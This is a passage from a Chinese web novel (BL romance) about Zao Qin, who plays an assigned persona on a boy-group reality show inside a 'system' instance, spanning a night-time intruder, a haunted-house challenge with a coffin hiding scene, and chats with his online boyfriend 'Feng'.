紧接着他又想起自己的人设,一下直起腰,语气带了点该有的不悦,变了口风,“……干嘛这么问我,假如说你才是没有人投票的那个人呢,不过你投不投我,好像也不关我的事,毕竟我又左右不了别人。” 枣芩说完,还是觉得自己说的不对,但好在系统没说他ooc。抬起眼,就对上郑宥都不太聚焦的眼。 头上顶着一块毛巾真可爱。 听不懂,想…。 郑宥没怎么听清他说的话,卧室温暖空气裹挟着枣芩身上的味道,他每一呼一吸都能感受到似的。 从枣芩还未干的发尾处,一滴凝结而成的细小的水珠,延绵到他宽松的睡衣领口处,慢悠悠的滑。 郑宥瞳孔紧缩。 【看什么呢?!见人】 【你离他远一点,宝宝快悟住,不要再往前倾了,站起来啊芩芩】 【求视角。】 【老婆你快赶他出去,赶出我们的婚房好吗】 郑宥半天没说话,枣芩看着他的目光变得奇怪起来,他喉结不可抑制滚了滚,抿唇挪开了视线。 郑宥低声咳嗽,清了清嗓子,像是不在意似的问:“那你投了谁?” 枣芩抿着嘴巴没回答。 他顿了会,缓缓靠近枣芩几步,枣芩动了动身体,斜上方的视线,让他看到了什么东西粉尖尖的。 郑宥隐秘的倒吸一口凉气,低下了头。 枣芩的床铺很干净,郑宥看了眼,还是没坐下去,屈膝坐在了枣芩腿边的地面上,手臂旁边就是枣芩交叉着的小腿。 郑宥仰着脸,故作平静问:“你投的…是我吗?” 枣芩因为他问出的问题有些错愕,真是奇怪,他没有投自己,还想让自己投他。 他居高临下瞥了郑宥一眼,看着郑宥透着期待的表情,眼睛转了转,嘴巴没忍住上扬一点弧度。 枣芩忽然说:“对啊,是你。” 郑宥瞬间睁大眼睛,看起来有点傻,他脸上情绪复杂,“是我……” 看着他的样子,枣芩没忍住笑起来。 枣芩晃晃脑袋,仰着下巴又说:“哼,骗你的。” …… 郑宥嘴唇张了又张,一句话都没有说出来,脸上一会红一会白,最后变成一张大红脸,配着金色的头发,像西红柿鸡蛋。 这时枣芩的注意力被门口的声响吸引过去,他抬头看过去的时候,郑宥便也顺着他的视线过去,才注意到有人敲门。 枣芩下意识去看房间内另外的人,两人视线对上,枣芩脑子空白了秒,居然又有人来找他了。 或许是条件反射,枣芩第一反应就是先让郑宥躲一躲。 要开口的时候,才反应过来,明明他没理由让郑宥躲。 郑宥起身,瞬间比枣芩高了一大截,他顶着红脸,面无表情的说:“你可真受欢迎啊。” 郑宥前去像是要开门,枣芩脑子嗡了下,几步上去,伸手想阻止他。 一句先等等还没说出口,枣芩左脚踩住右脚的拖鞋,身体骤然失去平衡,向前扑去。头上的毛巾随之掉在地面上。 门把手被拧动,郑宥察觉到枣芩的状况,侧过身,单手把枣芩揽住,手臂一勾,搂入怀中。 枣芩脑袋还是懵的,单薄干净的薄袜子踩在地面上,踉跄了下,把踝骨的轮廓显现出来。 门缝敞开,戚泽正对上两人抱在一起的场面。 枣芩脸上的惊吓还没退去,两手紧攥着郑宥衣服布料,缓了片刻,从郑宥怀里出来。 背后的手因为升起的尴尬握成拳,枣芩睫毛颤了又颤,故作镇定的问:“什么事找我。” 戚泽视线在两人之间扫视,最后落在枣芩泛红的脸上。他扯着唇角笑了下,但这份笑一点都不让人觉得他是发自内心的笑,甚至有些让人发怵。 戚泽说:“没事,看看。” 说完就转身离开。 枣芩看着他朝他卧室走去,心下松了许多,推了推身旁的郑宥,小声说:“很晚了,我要睡觉了。” 郑宥被推出门外,眼睛不可置信睁大,眼睁睁看着枣芩关上门。 枣芩穿上自己的拖鞋,把毛巾捡起来,失力的后仰倒在床上,闭上眼睛。 一直躺到心跳平复下来。 窸窸窣窣的声音传入耳朵,他睁开眼,撑着身子看向窗户的位置。 那声音像是从窗外来的,枣芩有些莫名奇妙。 他起身小心翼翼过去,隐隐的,有种被什么东西注视着的感觉。 或许是什么小动物发出的声音。 可是他看到窗外不远处的霓虹,他们的楼层在九楼,不该会有什么小动物。但如果真有,它就很危险。 枣芩小心翼翼来到窗边,开了条缝,冷风立即灌进来,但由于室内温度高,枣芩反而觉得有点凉快,他抬抬脸,感受凉风。 窗外一个黑影猛然出现,伴随着一声“噗”。 枣芩窗户都来不及关,立马吓得后退上床,浑身紧绷,眼睛死死盯着。 黑影停在了窗外小平台上,枣芩仔细辨别,是一只纯黑的乌鸦。 只是一只乌鸦。 枣芩吞咽口水,试探着过去,在乌鸦纯黑瞳孔的注视下,缓缓关上了窗户,一直到他拉上帘子,那乌鸦都没任何反应。 枣芩这才松了口气,躲回了温暖的被窝里。 真的很吓人。 但是城市居然会有乌鸦,他回想起乌鸦直勾勾盯着他的眼神,还是觉得悚然。 但这事,很快就随着恐惧的退却,而抛之脑后。 枣芩打开手机才发现风给他发了好多条消息,刚刚他和郑宥待在一起,都没有回。 他轻咬着自己的食指,计算着时间,过两天就是休息日,直播会暂停,差不多就是枣芩和风面基的时间段。 然后让他给自己当保姆,再踹了他。 枣芩想了想,试探着打下一行字,【刚刚有事情忙。对了,你关注娱乐圈吗?】 风:【什么事情?需要我帮忙吗?不是很关注,你想进娱乐圈?】 风:【我可以帮你。】 风人设好像崩了,他明明立的是穷苦普通人人设。 枣芩就当是他胡言乱语,就当是没看见。十分敬业的说:【得了吧,你还是要好好送外卖,让生活好起来。】 他咬着嘴唇, 【你觉得枣芩怎么样,我看网上挺多人骂他的,今天都上热搜了呢。】 枣芩当然没有看热搜,他比较玻璃心,根本不敢看。 但按照剧情猜测,现在网上肯定在全网黑他。 齐封看着这个名字,思索片刻,总觉得有些眼熟,像是在哪里看到过。 似乎是个男爱豆。 他忽然反应过来,小猫喵喵不会喜欢他吧? 他眉心跳了跳,正打算挑拨一下,蓦然想起了自己在哪里看到过这个名字。 他也就唯有那么一次,有看过男团之类的东西。 是因为邵家那个跑去当明星的小儿子,可能也是好日子过惯了,喜欢找罪受。 家里方面不仅不支持他,还在打压他们。 他因为好奇点进去看了看,枣芩这个名字就是在当时记住的。 他不记得具体长相,只记得当时没一个顺眼的。想不通怎么会有人喜欢他们。 风:【这种都是为了红哗众取宠,现实生活中说不定都没有你身边的人优点多。外貌,人设是公司打造的。】 风:【其实不值得喜欢。】 半晌。 小猫喵喵:【是吗。】 第54章 第 54 章 鬼屋惊魂 风:【其实喜欢也没什么, 任何人都是有优点的】 枣芩看得出风并不喜欢、甚至有点讨厌自己。 他光是想象一下,过几天见面的时候,对方看到网恋对象是自己不喜欢的爱豆, 会是怎样一副尴尬场景。 …… 迷迷蒙蒙的睡梦中, 枣芩的手碰到了什么东西, 他想要挪开, 意识却还没到能控制身体的清醒程度。 皮肤细腻又单薄的手臂,被一只从黑暗中伸出来的大手握住, 那手粗糙而干燥, 握着枣芩的手臂,手指还能余出一截。 对方似乎觉得很惊讶, 又往上握了握,捏着枣芩手臂肉多的地方。 随后,鼻尖才缓缓抵在他皮肤最薄、如果在白天,能看得到血管的手腕处, 轻轻嗅闻。 鼻尖暧昧轻磨片刻,他就那么跪在枣芩床边, 握住了他的手,抬起来,将自己冰冷的薄唇印上去。 枣芩的手指细微颤了颤,像是身体的无意识反应, 很快就又不动了。 可与此同时, 枣芩黑暗中紧闭的睫毛打起了哆嗦。 在手被握住,手腕处传来阵阵湿润的时候,枣芩的意识就清醒过来了。 那感受异常清晰。 他的眼睛在黑暗中,触感和听觉就仿佛得到了加强,他甚至能听到空气中, 对方的呼吸声,和极小的水声。 枣芩清晰的知道自己不是在做梦,身旁人存在感太强,让他忍不住在黑暗中,悄悄咬住唇,心脏收紧。 他房间真的侵进了人,夜半三更,在他的床边,呼吸粗重的、舔舐着……他的手腕。 简直像一条阴冷的蛇。 枣芩不敢喘息,让对方发觉自己的呼吸不稳。他不知道此时此刻的时间,只能期待快点天亮,对方快点离开。 出现在这里,再加上进副本前的介绍,大概率就是队友三人中的其中一个。 但他无法想象出他们任何一个,做出这种行为的画面。 难道是有鬼?…… 他的任务就是找出他们变成这样的原因,既然要找原因,或许就代表着不是他们个人意识控制主动的,还是有潜藏的坏人? 枣芩想不明白,脑子都是乱的。 但是对方并没有伤害他的意图,没一会,就停止了舔他手腕的动作,枣芩悄悄松了口气。 紧接着,对方把自己的手指塞进了枣芩手中,对方的手要比枣芩大许多,紧紧握着他,与他十指相扣。 之后就没了动静,安静的趴在了枣芩床边。 枣芩刚开始精神还悬着,像是一根拉紧的皮筋,但随着长时间的平静,再加上本身就是睡觉没到一半被弄醒的。 他逐渐放空,神经松懈,迷迷糊糊,居然在被人潜入房间、抓着手的情况下,身体放松,再次陷入睡眠。 翌日醒来坐在床上,枣芩怔怔盯着昨晚那人待的位置,扣着手指,看了眼窗外。 已经天亮了。 他忍不住一阵后怕。 他无比确定那不是梦,此时床铺边缘的位置,有一处和别的地方不同,还有一点浅浅的压痕,边缘都被带出了褶皱。 【系统,有人昨晚进我房间里面,他、他还握了我的手。】枣芩的口吻是肯定的,没有一点犹豫。 系统说:【我知道。】 系统说完,枣芩就更加肯定了。 客厅内十分安静,只有吃饭的声音。 枣芩在餐桌前,两手捧着郑宥买来的大包子,咬一口,再不时偷偷观察几人的神色。 其余两人都没什么表情,只有他身侧的郑宥,金毛早早做了发型,斜着头凑在他旁边,笑着看他吃东西,还问:“好吃吗?” 枣芩视线落在戚泽身上,对方高大身形微躬,单手拿着手机在看。枣芩听到郑宥的话不忘对他点点头,“嗯。” 比起邵京迟,戚泽的嫌疑要大点。 而郑宥已经被他排除在外了。枣芩在吃早饭前,装模作样,拉着郑宥说要给他看手相。 郑宥动作迟钝的举起自己的手给枣芩看,枣芩垂着眼睛,捏着他的手指,认真查看,另一只手轻轻摸过他的指腹、手心。 力度轻柔的像是羽毛撩拨过心脏,附带着一阵电流窜过。 郑宥手上也有茧,但摸起来比起昨晚那人手上的茧子薄多了,是正常男人都会有的程度。 枣芩顿了顿,在脑海中回忆昨天和戚泽一起吃早饭的时候,却怎么也想不起来他的手是什么样子的。 在郑宥手心的手忽然被包住。 郑宥声音艰涩问:“看出什么了?” 他轻轻抽了一下,就抽出了手,郑宥只是虚虚握着。 枣芩悻悻转身,坐回位置上,看着耳根发红的郑宥问:“你问哪方面,枣半仙给你解答一下喽。” 郑宥喉结往下滑了滑,跟过去坐在他旁边的位置,若无其事的表情说:“那我问问……爱情吧。” 说到爱情时,不免顿了顿。 枣芩抿着唇,手指扣了扣额头。 他哪里会看这东西,看着郑宥的脸,开始胡编乱造,“你的这个爱情很好呢,一看就是很招人喜欢,感情不会太大波折的类型,应该很顺吧。” 如果不准,也不关他枣半仙的事,都说了他是半仙,肯定会有不准的时候。 “那你呢?”郑宥急促问了句。 “我?”枣芩抬起自己的左手看了看,左看右看,收起手别过头,哼了声,“天机不可泄露。” 当天下午,终于有了出去外面的行程。 真人秀的关键,就在于制定目标,以及这个过程中的曲折。 如果一个真人秀全然没有一点目标、起伏、矛盾,就很难吸引到观众。 节目组设置了两趟行程,两两一组去做挑战,成功获得更多积分的一方,下次录制全程就由另一方的两人来做饭。 不用再操行吃饭的问题。 分组的方式是抽扑克牌,抽完就直接坐车去节目组安排的目的地,花色相同的两人为一组。 因为是按照番位顺序去另一边抽牌,枣芩是最后一个,他过去的时候只剩下一张牌,根本没有选择的空间。 他搞不懂还有什么可选的,随后翻起来是一张黑桃k。 枣芩茫然展示给镜头看了看,导演拿走了扑克牌,又给了他一张骷髅头的卡片。 黑色的头骨图案看着就有点吓人,反面写着地址,xx路xx号。 枣芩突然有种不好的预感。 直到他坐着车,来到了一个巨大骷髅头招牌的豪华鬼屋前,这种不好的预感成真了。 枣芩:…… 他下车的脚步打滑了下,忙稳住身体,开头不顺。 他身后是摄像老师,前面是工作人员带领,跟着到了一旁饮品店,一身黑衣的邵京迟正等在门口的白伞下。 本就沉默寡言,冷静自持的脸上,在看到是枣芩后,更是忍不住皱了下眉,看起来更冷了。 这几天还没有说过一句话的两个人面面相觑,邵景迟起身率先朝鬼屋进去。枣芩手忙脚乱跟在他身后。 场面一度弥漫着挥之不去的尴尬。 ——最不熟的两个撞一起 ——不不不,他们这是吵架了,你去翻翻芩芩微博,之前三句话不离邵景迟呢,像谈了 ——别造谣我老婆行吗?他只和我谈过 ——为什么对小队友臭脸!看不到他被吓得走路都不会走了? ——怎么不背他?嗯?说话! 枣芩是想着,按照自己的人设,鬼屋这么好的场地,肯定不会放过这个卖腐的好机会。 但抬头看到邵景迟疏离又压迫十足的背影,枣芩就觉得对方肯定不会愿意,有点瑟缩了。 进入入口,视线所及之处,光线黯淡下来,前面邵京迟的身影变成一圈暗色轮廓,枣芩赶忙快走几步跟上他的步伐。 邵景迟掀开一块大红色的帘子,入目是黯淡诡谲光线下,挂着大红喜字的喜堂。 外面的声音被隔绝,安静的有些瘆人。 邵景迟往左走,枣芩也跟着进去,这才注意到自己脚下,粘稠到发黑的大片血迹。 他瞬间被吓得嘴唇发白,手指紧紧攥住身后的红色帘子,下意识后退半步,想出去。 而邵京迟已经在比灵堂还吓人的喜堂找起开门的钥匙。 枣芩心中为自己开脱,邵景迟肯定是个唯物主义者,不相信这个世界上有鬼,所以他才不害怕。 而枣芩可是亲眼见过鬼的,还跟鬼相处过,他面对这样的场景,会联想到这一切是不是真的,只是伪装成的鬼屋的样子。 所以自然会害怕,这无可厚非! 枣芩鼓鼓勇气,扬起下巴,他可是有道具在身,遇到鬼又怎样。 邵景迟在红色的跪垫下翻找出打开左侧门的钥匙,一言不发地开锁,继续往里走。 枣芩不远不近跟在他身后,步子慢吞吞,还走一会靠在墙上喘气,但好在他一直没有掉队,邵京迟始终离他一米的位置。 枣芩不免怀疑对方也是害怕的,只是不好意思说,所以才走得很慢,尽量和自己靠的近点。 这么想着,枣芩忽然胆子大了瞬,快走两步,与邵景迟的距离缩近。 黑暗中只能通过一些散光看到他的轮廓,枣芩站到他身旁,手指隐隐擦过什么东西,他忙塞回自己衣服口袋里。 没察觉对方手指蜷了蜷。 好不容易鼓起勇气,走廊的尽头,骤然亮起一团绿光,枣芩后退半步,转而握住了左边门的门把手,有备无患。 果然很快,绿光处出现了两个长得一模一样的小孩。 一个扎着麻花辫,一个是短头发。像是一对龙凤胎。 他们的皮肤像釉做的,眼睛漆黑又大,仿佛陶瓷娃娃,不像真人。 可很快,他们张开嘴,属于儿童尖细的嗓音从口中出来,一声接着一声叫,“妈妈……”。 一边叫,一边缓缓的朝他们的方向移动。 很快,绿光淡下去,又陷入了黑暗,一闪一闪。一声声“妈妈”越来越大声,仿佛就在面前的位置。 枣芩鼻尖都出了层冷汗,他拼命拧动门把手,怎么也拧不开,急的直喘气。 直到他手背忽然搭上一只冰凉的手,背上贴上男人的胸膛。 门把手随之被拧动,身后人转身将枣芩搂在怀中,闪身进屋按上房门。 枣芩一动不敢动,整个人的三魂六魄都被吓没了。呆呆趴在门上被抱着,听着外面的叫声转换成尖叫。 身后的人像一片橡皮泥似的,软绵绵又紧密的,贴着枣芩的后背。 枣芩小口小口呼吸平复自己的情绪,微微侧头,小声问:“你害怕了?” 肩膀上的头点了点。 枣芩真没想到,人能这么表里不一,半小时内转变如此大。 明明看起来非常冷淡,仿佛没有情绪似的。被吓到之后,居然会这么紧紧贴着他讨厌的人。 枣芩吞咽口水,安慰道:“你别害怕,这个世界上没有鬼,这些、都是假的。” 肩膀上,又被动了动。 好一会,叫声也停止了,像是遇到了他们害怕的东西,变成两个男人的声音。 “真烦,也不知道跑哪去了,还得我们找。” “确实,要是我,我都愿意让我小孩嫁,进了李家,下了阴曹地府不也是享福的命?” “找人吧。” “诶,这屋子的钥匙呢,我们得进去查一查。” 枣芩明白这是鬼屋工作人员在提示里面的人藏起来,他们要进来找人。 枣芩有点怕,这鬼屋中的一切会成真,毕竟他现在是在副本之中。 枣芩舔了下干涩的唇,拖着身上的累赘,在屋子里摸索,查看有没有什么藏身之处。 外面的其中一个说:“那我现在去找钥匙,五分钟之后我就回来。” 枣芩压着声音,对邵京迟说:“你别抱着我了,我们得快找藏身地方呀。” 身后人顿了顿,松开了手臂。冰冰凉凉又有些滑的手抓住了枣芩的手腕,枣芩太过于紧张,任由他带着自己走。 邵景迟像是可以在黑夜中看得到,带着枣芩走到一个地方。 他听到什么东西被挪开,木质物品碰撞摩擦的巨大响声。 随后他忽然被凭空抱起,抱着背和腿弯。枣芩都来不及惊讶,就已经被放进去,底下好像还铺着什么东西。 紧接着,邵景迟也跟着钻进来,挤在他身旁。 两个人似乎在一个长柜子之中。 直到听见头顶传来,木板被邵景迟关上的声音,枣芩才反应过来。 他们正躺在棺材里面。 第55章 第 55 章 逢情酒店 枣芩不仅不讨厌棺材, 甚至是喜欢这种封闭的小空间,毕竟他曾经是一个货真价实的血族。 只是当下,他也来不及想太多, 外面npc故意吓唬里面的人, 用力敲击着不结实的木门, 发出吱压声响。 棺材内还有另一个人明显的存在感, 枣芩听着自己的呼吸声,以及乱跳的心脏, 伸手按在自己的胸口, 企图让他慢下来。 空间狭小,两人躺在里面还是有些挤, 枣芩这么感觉,显然对方也是这么感觉的,动了动身体。 随后,在枣芩猝不及防的时候, 邵京迟动作十分自然,将他的身体一抬。 枣芩惊慌不已, 伸出胳膊也于事无补,就这么被邵景迟翻到了他身体上方,趴在他胸膛。 他的手还无比亲昵的落在枣芩后背上,轻轻拍了拍, 像是在安抚。 黑暗中, 被突然抱在身上的枣芩眼睛都睁圆了。 对方的举动也没让这空间更宽敞,反而让他更不自如了。他不明白邵景迟到底是怎么想的。 门外一串响亮的脚步声朝着这边靠近,去找钥匙的npc十分准时的,在五分钟刚好回来。 两个人的对话声再度响起。 “终于找到钥匙了,快点进去看一下。” “我知道里面有人, 我劝你最好乖乖地站出来,不然要是被我们抓到了,可就遭老罪了。” 木门濒临死亡似的叫了声,被人推开,枣芩屏着呼吸安静的趴着,专注的听着外面的动静。 两人的脚步声逐渐逼近,到了他们棺材所在的位置,前前后后故意在棺材旁绕圈,用手电筒敲击棺材板。 “你说这棺材里面,会不会藏人?” 另一个不太情愿,“别吧,毕竟是要躺死人的,应该不会有人这么胆大包天,没必要。” “看看呗,该躺在里面的人不是还没死吗?”说着,他作势推了推棺材盖。 枣芩手指抓住邵景迟胸口的衣服。 “……要看自己看,我没兴趣,我去别的地方查了。”他的脚步随着说话声去了旁边。 要开棺材的npc松开手,也跟着去了。 枣芩的心脏因为他们的举动被挑拨的一上一下,倒是身下的邵京迟十分的淡定,没听到他一点紧张的心跳声。 搞不懂这个人到底是怕还是不怕。 npc制造出一些翻找东西的声响,便关上门离开了这间屋子。 枣芩没敢出声,抿着嘴唇,好久都没再听到什么奇怪的声音,才开口小声对邵京迟说:“他们走了,我们是不是该出去了。” 他准备试着起身,可按在他背上的手没松开的迹象,还朝着他的方向往回按了按。 这个动作实在让枣芩有些困惑,以为他是觉得不保险,他们还会再回来,于是一时之间也没动。 可又过了好一会,枣芩都觉得棺材内的空气有些闷热了,都没再听到任何怪异的声音。 枣芩呼出口气,没忍住再次说了一遍,“我们出去接着走吧?” 邵京迟深呼吸了下,这次才似是同意了,在枣芩背上拍了拍,把他放回原先的位置,起身伸手去开棺材板。 枣芩的身体很轻,压在他上方的感觉很微妙,尤其是,枣芩的手轻轻放在他胸口,无措抓紧,他不属于人类的躯壳,泛起了丝丝缕缕的热潮。 打开棺材板的瞬间,棺材内积攒的枣芩的气息四散而逃,他忍不住握了握,没抓住。 屋子里是黑暗的,但多少比棺材内多了一点亮度,枣芩隐隐看到了邵京迟的轮廓在自己身边,漆黑庞大,很快又恢复正常。 邵京迟率先翻身出去,枣芩刚坐起来,准备也跟着翻出去,前方突然过来一双张开的手。 枣芩愣愣反应了两秒,才反应过来,对方似乎是想抱他出去…… 明明不管在设定,还是这几天的相处中,对方都跟他不怎么熟悉,可转眼就已经到了要抱他出棺材的关系。 这个动作不止是代表了简单的帮助。棺材就放在地面上,高度并不高,还没枣芩的腿长,枣芩一跨腿就出去了。 可邵京迟似乎是把他看作了需要被照顾的。 枣芩摇摇头才反应过来对方看不到,推了下他的手,开口说:“我自己可以的。” 邵京迟缓缓收回了手,明明根本看不见他的表情,枣芩却莫名感受到了对方因为他不需要帮助,不太开心,甚至有点郁闷。 …… “搭一把手吧。”枣芩心里无奈,朝他的方向伸出手。 话刚出,枣芩的手就迅速被抓住,握的紧但并不疼。 枣芩从棺材内翻出去,对方没有一点要分开的意思,带着他朝门外走去。 或许是传说中的过山车效应,经这么一遭,枣芩对对方的印象都好了起来,不再是自己脑内,那么冷淡拒人于千里之外的模样。 “枣芩那边的摄像头还没修好吗?”导演眉头皱着,手指不耐烦地在桌面上敲击。 这并不是什么严重的拍摄事故。 枣芩这边出了问题,邵京迟那边还是好的,在正常走流程,只是速度慢了些,收工会晚点,现在等待两人聚合就好了。 枣芩这边的许多观众都只能去邵京迟那边蹲着。 ——我芩芩呢??哪去了? ——刚刚遇到那对龙凤胎的时候分开的,应该是进旁边的屋子了,我之前玩过这家,那条线老吓人了…… ——啊、我老婆那么胆小,补药啊,补药吓唬他! ——不会哭鼻子吧,想想就、 ——不准胡思乱想 从棺材屋出来后,虽然一路都是乌漆嘛黑,没有丁点光亮,但都没再遇到什么太吓人的东西。 邵京迟非常坦克,别说害怕了呼吸都不会乱。 唯一让枣芩难受的一点是,每次自己说话,对方都跟个哑巴似的。 不过鉴于他平时就是这个样子,并不是故意这样,枣芩只能勉为其难原谅他一下。 估摸着到了后半程,一路什么都没有再遇到,枣芩最开始那种忧心忡忡又害怕,这一切会变成真实的想法,就完全烟消云散。 邵京迟的脚步忽然停下,枣芩也跟着停下,抬起头不知道他要干什么。 手没松开,一个怀抱落在身上。 “邵京迟”努力嗅闻着枣芩身上的味道,隔着厚厚的衣服布料感受他的体温,手臂的力度收紧了些,让他们贴得更近。 直播间,跟随邵京迟的摄像头忽然间也暗了,导演暗道倒霉,可还不等他通知工作人员,就再次亮起。 ——消失了一会的枣芩,表情茫然出现在夜间镜头下。 枣芩眨巴几下眼睛,邵景迟抱了下他又忽然退开的行为,搞得枣芩满头雾水。 他下意识往前摸索了几步,摸到了前面人的后背,知道是邵景迟。心中却忽然升腾起很怪异感觉,他忍不住多摸了几下。 是邵京迟吧? 前面的人转过身,忍无可忍抓住了他的手,又很快被烫着似的松开,冷气说:“干什么?” “邵京迟。”枣芩听出是他的声音,虽然他没怎么跟邵京迟对话过,但他好歹听到过对方跟导演说话。 枣芩抬手刚好抓住他的手,慢吞吞把自己的手放进他的掌心,轻轻呼出口气,“你刚刚突然松开,我还以为我们要走散了。” 那可要吓死他了…… 话说完,枣芩脊背微僵,握着邵京迟手掌的手动了下,心跳蓦然加快几拍。 与他没干过什么活的细腻手掌相触的,是极为结实且布满茧子的手心,炙热干燥宽大。 而在前面,或许是因为他精神太过紧张,他竟一直没有察觉,对方的手这么粗糙。 枣芩脑袋里突然有了很荒唐的想法,有些东西联系在一起,但又不敢确定。 而被他握着的,本就没什么肉的骨节分明的手,早已经僵得一动不动。 邵京迟速度极缓的抽了抽,并没抽出来,身侧人的存在感强到无法忽视,还故意在他手心摸来摸去。 相比之前只是言语暗示他们的关系,这次枣芩在镜头下就直接拉起了他的手,邵京迟年纪稍微大点起,就没再跟同龄人有过这么亲密的接触了。 胸膛升起的古怪燥意,一直上升到头颅,让他分不清自己现在是什么感受。 或许是厌恶,但是他没抽出来。 他心里知道,枣芩只是为了炒热度而已。 明明以前从来没有为这东西考虑过,也完全不在意。 这一瞬间,他脑中忽然涌现莫名其妙的想法,这个综艺是他在这一时期很关键很难得的机会,枣芩的办法确实能够增加热度,吸引一批体量不小的观众。 一直抵制且十分厌恶的行为,在这一刻真正来临时,似乎并不是很难接受。 掌心滚烫像火燎,他指尖微颤,拉着枣芩的手,一直走到出口处。 出来时天色已经被遮盖成黑夜,天空看不到星星,但灯光亮了起来。 明亮灯光落在两人手上的那刻,邵京迟瞬间松开了枣芩的手,仿佛被冷水泼头,清醒过来。 他快步走在最前头,径直上了节目组的车,坐进了最后一排角落的位置。 ——? ——捏爹,一个鬼屋出来,还摸起手了? ——我怀疑直播也能剪,他们肯定发生了什么,我要抗议!我怀疑这个冷脸男cpu了我宝宝呜呜 ——不准牵手!今天牵手,明天岂不是要亲嘴了??? 枣芩扣着自己被对方手心温度烫到泛红的指尖。 又怎么了? 邵京迟的情绪变幻无常,枣芩都怀疑他的神经没有皮肉作包裹,所以才那么敏感多变。 枣芩别别嘴巴,跟着上了车,本准备坐在了邵京迟身旁的位置,可想到对方那忽然把他手扔开的动作,还是坐在了中间排。 车辆行驶开,邵京迟掀起眼皮,扫了眼前面枣芩露出来的细白脖颈,低头看了一眼自己的手掌。 他身旁还有很大的位置,枣芩对他表现得很亲密,根本就只是为了炒cp,可以是他,也可以是别人。 冷淡平静的脸上让人看不出他的情绪,手指却被攥住,手心似乎还残留滚烫的热度。 回去的路上没有开摄像头,直播间被关闭了。今天晚上回去录完最后一段,明天就是他们的休息日。 枣芩被吓了一通,现在身上都没什么力气,车里空气温暖,他脸颊靠在座椅上差点睡着,直接听到手机突然传来的提示音。 亮光打在枣芩侧着的半边脸,他半眯着眼睛,睫毛颤颤,等待手机适应环境降下亮度,才去看。 他点开信息,看到内容的那一刻,枣芩呆滞两秒,不禁皱起眉。 这个号码并没有存,是一个陌生人,用词有点古怪。 【难过、不想和你分开。不过芩芩今天的样子真的很可爱哦^^】 【你也在注意我的情绪呢……我真的灰常灰常开心的,你的手有点热,心跳也很快,气味也是香香的,我的身体特别奇怪。抱着你的时候我感觉我的心好像也跳起来了,真是越来越喜欢你^3^】 【哎,怎么办呀。】 看着这三条消息,枣芩满头雾水。他缓缓关上手机,抬眼在车内后视镜中偷偷看了眼面容冷峻的邵京迟。 不会吧。 邵京迟是唯一今天抱过他的人,但他实在想不出,邵京迟这张脸会说出这样的话,还加颜表情。 而且最重要的一点,邵京迟上车后,从头到尾都没有碰过手机,更别提刚刚了。 确实没可能对他发这么奇怪的话。 枣芩没什么精神,胡思乱想着抬眼,正好看到没再录像的摄像头,恍然大悟,他明白了。 一定是粉丝通过什么方式得知了他的手机号,搞这种东西吓唬他。 真的很不好。 枣芩有点气,如果邵景迟玩了手机,他肯定要误会对方,从而把自己搞得很尴尬。 枣芩打字回复:【你以后不准给我发这种消息!我会生气!!】 他发过去后,对方没有再回复他。 回到家就开始接着录制,通过节目组给他们分配的积分,枣芩怎么也没想到,是他和邵景迟输了。 这代表着他们要准备下次录制的每一顿饭,枣芩人都傻了。 他和邵景迟明明完成的很好,他不敢置信的表情太过明显,嘴唇都张开了。 节目组解释说是因为他们分开过太长时间,这次活动本来就是为了展现队友之间的默契和友爱。 戚泽和郑宥去的就是他们隔壁的游乐园,要坐最吓人的项目。虽然说两个同样基本没有说过话,但他们好歹是个左右排。 坐在过山车上,面无表情的像是在比拼谁先喊出声谁就死一样。 枣芩坐在三人沙发最中间,两边依旧是戚泽和郑宥,他手臂耷拉着,靠在沙发上,小声嘀咕:“分开了那么一小会也算啊,我们明明一直在一起。” 这句话不知道怎么惹怒了郑宥,忽然侧头盯着他,直冒寒光,金色头发没打理有些凌乱,没头没尾呵了声。 他浑身的酸气再也遮挡不住,从周身散发出来,最终化作一句:“你们关系突然变这么好,我都有点嗑你们两个了。” “啊?”枣芩明白这是嗑cp的意思,自己要炒cp就是为了更多郑宥这样嗑他们的人,他也不知道说什么,摄像头还拍着呢。 他只能“噢”了声。 ——啊哈哈哈哈 ——太好了,是迟早早的cp粉头子,我们得救了! ——你要气死金毛吗哈哈 ——这是男团修罗场吗?我老婆是修罗场中央……那真是太好了,希望你们三个不要放过这个芩芩宝宝 枣芩感觉他噢完后,郑宥看起来有点生气,他斜着眼睛偷偷看了眼,慢吞吞挪动屁股,明目张胆朝着戚泽的方向靠近些。 他们两个的气氛略微僵持,三人沙发上的另一个人忽然起身,若无其事说了声:“我进去找个东西。” 大家都没因为这一句话,把视线放在他身上。 戚泽出来的时候手里拿着一个玩偶,兔子玩偶大概三十多厘米,白色与浅棕色相交想衬,一对浅棕色的长耳朵垂在两侧,还有圆溜溜的深棕色眼睛,脖子上戴着圈花围脖。 很是可爱,但和戚泽身上气质背道而驰。 谁也没想到,他会拿着这么一个玩偶坐下,放在自己和枣芩中间。 戴着银质戒指的食指轻轻戳了下枣芩的胳膊,在枣芩回过头来看他时,戚泽指着玩偶,低沉嗓音说:“它喜欢你,你喜欢它吗?” 比起枣芩,而更没想到的是郑宥,他额头青筋隐隐跳动。这玩偶是他亲眼看到戚泽买的,他根本就没有想到戚泽居然会送给枣芩。 好一个心机男。 关系根本就不怎么样,也不来往,这时候倒是送起礼物了。 枣芩怔愣看着两人中间可爱的兔子玩偶,它的耳朵看起来毛茸茸的,很好摸。 枣芩这么想着,细白手指伸过去摸了一下,绵软的触感传达到手心,枣芩按捺着开心,用力点了下头,表示自己很喜欢。 居然是给他的礼物!他不是坏人来着吗? 拍完回卧室的时候,枣芩就把小兔子带进房间,抱着它躺在床上打了个滚。 他黑色发丝散开,露出整张白皙昳丽的脸,他抱着兔子在自己上方,亲昵贴了贴脸颊。 明天休息,他今天晚上就多了事情要做,枣芩感觉自己真得很忙碌,对任务也是勤勤恳恳了。 他今天晚上要约自己的网恋男友,明天或者后天见面,完成自己这个人物本应该做到的事情,该走的路线。 枣芩没太多的铺垫,他们每天都会聊天,虽然他们认识都并没几天。风问到枣芩一些三次元的状况,枣芩都不正面回答。 一度让风觉得,枣芩只是想跟他网上排解寂寞而已,气愤的暗示过枣芩,所以当他看到枣芩那句, 【明天后天我时间空下来了,我们见面吧。】 他本来漫不经心刷新着网络,手中拿着的饮料,因为精神的空白而指关节松懈,差点掉在地上。 他立即把饮料放在一旁,飞快打字,生怕对方撤回,【好,见面,哪里?】 看不起就不好惹的俊脸,露出了有些痴傻的喜悦表情,似是被从天而降的馅饼砸了头。 风:【老婆,哪里见?】 风:【老婆我上次给你发过照片。】 风:【照片】 风:【照片】 …… 